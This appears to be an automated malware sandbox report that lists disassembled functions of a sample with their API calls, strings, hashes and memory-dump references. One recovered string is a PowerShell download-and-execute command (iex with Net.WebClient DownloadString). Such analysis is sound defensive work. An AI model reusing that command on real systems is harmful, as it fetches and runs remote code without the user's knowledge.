Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: c35eb937ceedfdc1795b13f083efd8774ef5125900a5cc7df24ab1503c6feaa4
Instruction ID: 191110d0c8d449fa2578fcd5a5dd1a5a97af0de836e583ec210c45abfa0a7446
Opcode Fuzzy Hash: c35eb937ceedfdc1795b13f083efd8774ef5125900a5cc7df24ab1503c6feaa4
Instruction Fuzzy Hash: 7141A171C101099ADB14FBA0D899FEEBF78BF94300F408119E51AB6191DF746A4ADF92

Function 6CAE74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAE7526
__Init_thread_footer.LIBCMT ref: 6CAE7566
__Init_thread_footer.LIBCMT ref: 6CAE7597

Strings

UnmapViewOfFile2, xrefs: 6CAE7552
kernel32.dll, xrefs: 6CAE7557

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 995910e12f1afc061493ed1982c680d38fbc3560e60fe1f29a055935c2d5044d
Instruction ID: 8c841f1d686485837d0f8bfbec811f487c307468f1df4004358b5718ded6e89e
Opcode Fuzzy Hash: 995910e12f1afc061493ed1982c680d38fbc3560e60fe1f29a055935c2d5044d
Instruction Fuzzy Hash: 2B210735700541ABDA14CFA8C914E993776FBAA376B04052CE405D7F41C730AC86C6EB

Function 00577980 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00580E00,00000000,?), ref: 005779B0
RtlAllocateHeap.NTDLL(00000000), ref: 005779B7
GetLocalTime.KERNEL32(?,?,?,?,?,00580E00,00000000,?), ref: 005779C4
wsprintfA.USER32 ref: 005779F3

Strings

@D, xrefs: 005779E8

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: @D
API String ID: 377395780-4262793835
Opcode ID: 642de8820540c194ceb3232431c5a3a7b316c4d001c2ce2420322b0c3d92ed3a
Instruction ID: 77fb60db98b35624c7537dc06dc3b5d1579d400a495860e40f5b4767ac8f4747
Opcode Fuzzy Hash: 642de8820540c194ceb3232431c5a3a7b316c4d001c2ce2420322b0c3d92ed3a
Instruction Fuzzy Hash: 9E1118B2904118AACB149FC9ED45BBEBBF8FB4DB11F10811AF605A2280D33D5940DBB5

Function 6CAEC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAEC0E9), ref: 6CAEC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CAEC437
FreeLibrary.KERNEL32(?,6CAEC0E9), ref: 6CAEC44C

Strings

ntdll.dll, xrefs: 6CAEC413
NtQueryVirtualMemory, xrefs: 6CAEC431

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 8314309bc5e5a3957b000244a338a8cd3e034269ab9480017f186a6066a30965
Instruction ID: 92b9dc926f9fc280836b4f2710f1b5a157d51d81a4e9d970807f2cfd2b853047
Opcode Fuzzy Hash: 8314309bc5e5a3957b000244a338a8cd3e034269ab9480017f186a6066a30965
Instruction Fuzzy Hash: 77E09274701301DBDF00BB71C908B527FF8B72A64AF14851EAA0493640EBB0C0418A58

Function 6CAE75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAE748B,?), ref: 6CAE75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAE75D7
FreeLibrary.KERNEL32(?,6CAE748B,?), ref: 6CAE75EC

Strings

RtlNtStatusToDosError, xrefs: 6CAE75D1
ntdll.dll, xrefs: 6CAE75B3

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 607ef56aec1a497ff91f466925e4f340618dbab438e16304376e27657a3865b3
Instruction ID: fd23835208fe14bd38d89e0be0d411c586205e91afc82cf5b7fa04461a9693cc
Opcode Fuzzy Hash: 607ef56aec1a497ff91f466925e4f340618dbab438e16304376e27657a3865b3
Instruction Fuzzy Hash: D8E09275700301ABEB016FA2C8487027FF8FB3625AF10442DFA05E3641EBB08041DF5A

Function 00569E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00569F41

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Strings

@, xrefs: 00569EF1
v10, xrefs: 00569EA3
v20, xrefs: 00569E21
ERROR_RUN_EXTRACTOR, xrefs: 00569E67

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 56570d60ec14f521cf8400f17dab50186cebbaa68384c02b644c6b399e070814
Instruction ID: 76234f68e40a6e381358488c5d8117a7d5a2a9452132f4995450b80d1188ff39
Opcode Fuzzy Hash: 56570d60ec14f521cf8400f17dab50186cebbaa68384c02b644c6b399e070814
Instruction Fuzzy Hash: 52612171A00249DBDB28EFA4DC9AFED7B75BF84304F008418F90AAB191DB746A05DB52

Function 6CA84DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA84E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA84E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA84EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA84F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA84F1E

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 444612eb1fe595f644493af5b6f5d56ee92b76ace79974bfd705ebb412099d6b
Instruction ID: 95d50905cefd910f192e8742c1ef9265dad63e404d78d1e182eec2734951dce5
Opcode Fuzzy Hash: 444612eb1fe595f644493af5b6f5d56ee92b76ace79974bfd705ebb412099d6b
Instruction Fuzzy Hash: C041E0716097019FC701CF29C49099BBBF8BF89344F148A2DF8A697741DB30E998CB91

Function 6CA91530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA9152B,?,?,?,?,6CA91248,?), ref: 6CA9159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA9152B,?,?,?,?,6CA91248,?), ref: 6CA915BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA9152B,?,?,?,?,6CA91248,?), ref: 6CA915E7
free.MOZGLUE(?,?,?,?,?,?,6CA9152B,?,?,?,?,6CA91248,?), ref: 6CA91606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA9152B,?,?,?,?,6CA91248,?), ref: 6CA91637

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: bac92301ef7b0eea011c11f90979a0db6cbb5c9e3935ad92feae7ceb9576c1f7
Instruction ID: f5a63205ad9667fcfe91d364ac7f1d055216372ed42d5297bed10120e60752bb
Opcode Fuzzy Hash: bac92301ef7b0eea011c11f90979a0db6cbb5c9e3935ad92feae7ceb9576c1f7
Instruction Fuzzy Hash: 11310A71A105148BC7148E7CD9924BE73EDBB813747290B2DE623DBBD4EB30D9858791

Function 6CAEAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CAFE330,?,6CAAC059), ref: 6CAEAD9D

Part of subcall function 6CA9CA10: malloc.MOZGLUE(?), ref: 6CA9CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CAFE330,?,6CAAC059), ref: 6CAEADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CAFE330,?,6CAAC059), ref: 6CAEAE01
GetLastError.KERNEL32(?,00000000,?,?,6CAFE330,?,6CAAC059), ref: 6CAEAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CAFE330,?,6CAAC059), ref: 6CAEAE3D

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: eab180c51b9a2b48ed860716593ea624da40af8f84f5c56d9a5b50e26b1c862a
Instruction ID: c340e607977b40ce98562b3e69fa9b8d21a2a952fb5513d71ba2339657e0364c
Opcode Fuzzy Hash: eab180c51b9a2b48ed860716593ea624da40af8f84f5c56d9a5b50e26b1c862a
Instruction Fuzzy Hash: E53132B1A002159FDB10DF758D44AABBBF9EF49614F15482DE85AD7700E734D844CBA4

Function 6CA8B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA8B532
moz_xmalloc.MOZGLUE(?), ref: 6CA8B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA8B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA8B57E
free.MOZGLUE(00000000), ref: 6CA8B58F

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 0d3e290d989e2861dc3e8f254a5868e36f70ee7e0ab29eaf66f4d39c5775ebbe
Instruction ID: fc9d1bb97201d0c13ac8431b4887a8ef0aa8e94fb65d22b2ebe662910d567ea0
Opcode Fuzzy Hash: 0d3e290d989e2861dc3e8f254a5868e36f70ee7e0ab29eaf66f4d39c5775ebbe
Instruction Fuzzy Hash: 4E21F671A012059FDB008FA8DC40BAABBB9FF46308F28412DE819DB381E736D955C7A1

Function 00579260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0044F118,?,?,?,0057140C,?,0044F118,00000000), ref: 0057926C
lstrcpyn.KERNEL32(007AAB88,0044F118,0044F118,?,0057140C,?,0044F118), ref: 00579290
lstrlen.KERNEL32(?,?,0057140C,?,0044F118), ref: 005792A7
wsprintfA.USER32 ref: 005792C7

Strings

%s%s, xrefs: 005792B5

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: f8f2158be568b8deb450e92e0ebb84d64b791bee98a02b04b5da5fc49064b101
Instruction ID: 80bb70efd7d5ee72a1288718e12c99d0ec9ffd4e80c48668e55c72bc76e5ef20
Opcode Fuzzy Hash: f8f2158be568b8deb450e92e0ebb84d64b791bee98a02b04b5da5fc49064b101
Instruction Fuzzy Hash: 17011EB5500108FFCB04DFECD984EAE7BB9FB89351F108248F9099B201C739AA40DBA5

Function 6CAC0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA83DEF), ref: 6CAC0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA83DEF), ref: 6CAC0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA83DEF), ref: 6CAC0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAC0D97, 6CAC0DBE
<jemalloc>, xrefs: 6CAC0D92, 6CAC0DB9

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: f163bdb0bfee15cbcf1fa7f0e229f97e1b5f1bfbc76c5b5a64487a18a56e8ff2
Instruction ID: f5ec0a9c00282c045ea3d6d5232fa1b017739924b6256f432a05c3c8ef7f3bba
Opcode Fuzzy Hash: f163bdb0bfee15cbcf1fa7f0e229f97e1b5f1bfbc76c5b5a64487a18a56e8ff2
Instruction Fuzzy Hash: 61F089B13807D923E62521665C0AB6B2A9DB7C2B65F388135F205DF9C0DF50E4844AA6

Function 6CAAD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CABCBE8: GetCurrentProcess.KERNEL32(?,6CA831A7), ref: 6CABCBF1
Part of subcall function 6CABCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA831A7), ref: 6CABCBFA

EnterCriticalSection.KERNEL32(6CB0E784,?,?,?,?,?,?,?,00000000,76E22FE0,00000001,?,6CABD1C5), ref: 6CAAD4F2
LeaveCriticalSection.KERNEL32(6CB0E784,?,?,?,?,?,?,?,00000000,76E22FE0,00000001,?,6CABD1C5), ref: 6CAAD50B

Part of subcall function 6CA8CFE0: EnterCriticalSection.KERNEL32(6CB0E784), ref: 6CA8CFF6
Part of subcall function 6CA8CFE0: LeaveCriticalSection.KERNEL32(6CB0E784), ref: 6CA8D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76E22FE0,00000001,?,6CABD1C5), ref: 6CAAD52E
EnterCriticalSection.KERNEL32(6CB0E7DC), ref: 6CAAD690
LeaveCriticalSection.KERNEL32(6CB0E784,?,?,?,?,?,?,?,00000000,76E22FE0,00000001,?,6CABD1C5), ref: 6CAAD751

Strings

MOZ_CRASH(), xrefs: 6CAAD4BB

Memory Dump Source

Source File: 00000000.00000002.2627215930.000000006CA81000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA80000, based on PE: true

Associated: 00000000.00000002.2627195988.000000006CA80000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627270230.000000006CAFD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627295382.000000006CB0E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2627358979.000000006CB12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
